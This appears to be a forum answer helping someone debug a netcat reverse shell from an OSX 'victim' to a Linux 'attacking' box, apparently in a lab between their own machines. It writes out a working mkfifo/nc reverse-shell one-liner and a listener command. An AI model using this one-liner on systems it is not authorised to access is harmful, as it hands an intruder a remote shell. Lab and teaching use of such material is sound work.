What is your networking setup between the two machines in each example? Are you able to send other traffic between them, such as ICMP? If so, do you have any firewall rules configured on either of the devices that might interfere? If you're confident that your network setup is correct, then I've left some comments about each example below.
I think your issue in the first example stems from trying to use the -e flag in nc. You stated that your attacking machine is the Linux device and your OSX machine is the victim. If that's the case, you don't need to use the -e flag on the Linux nc listener. If you do, that means that when you connect to the Linux machine on the port opened by nc, you'll get a shell spawned from the Linux machine, which doesn't seem to be what you want, since that's the attacking box.
I think what you actually want to do is something like this:
Linux box: nc -nlvp 5555
OSX victim: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP_OF_ATTACKING_BOX 5555 >/tmp/f
On your nc listener on your attacking box, you should see a shell open. The reverse shell is created differently due to the nc version on OSX being the BSD version, which does not support the -e flag. I got the syntax from here:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Your second example's syntax looks correct to me. EDIT: As @waymobetta correctly notes, you don't want to use the IP address of the victim on your second nc command; you should use the IP address of the attacking machine, which is what you want to connect back to. However, if you're still having issues, you can check the remaining suggestions below.
Is your networking setup here different than in the previous example? Can you open a port on one with nc and just connect to it using the other (without the shell)? For example, if you do:
Machine 1: nc -nlvp 1234
Machine 2: nc $IP_OF_MACHINE_1 1234
And then type some text in the terminal for Machine 2 and hit enter, do you see the text appear in the listening window for Machine 1? You should also see some output regarding the connection attempt in that window. If that doesn't work, then your issue might stem from the machines not being able to communicate properly at all.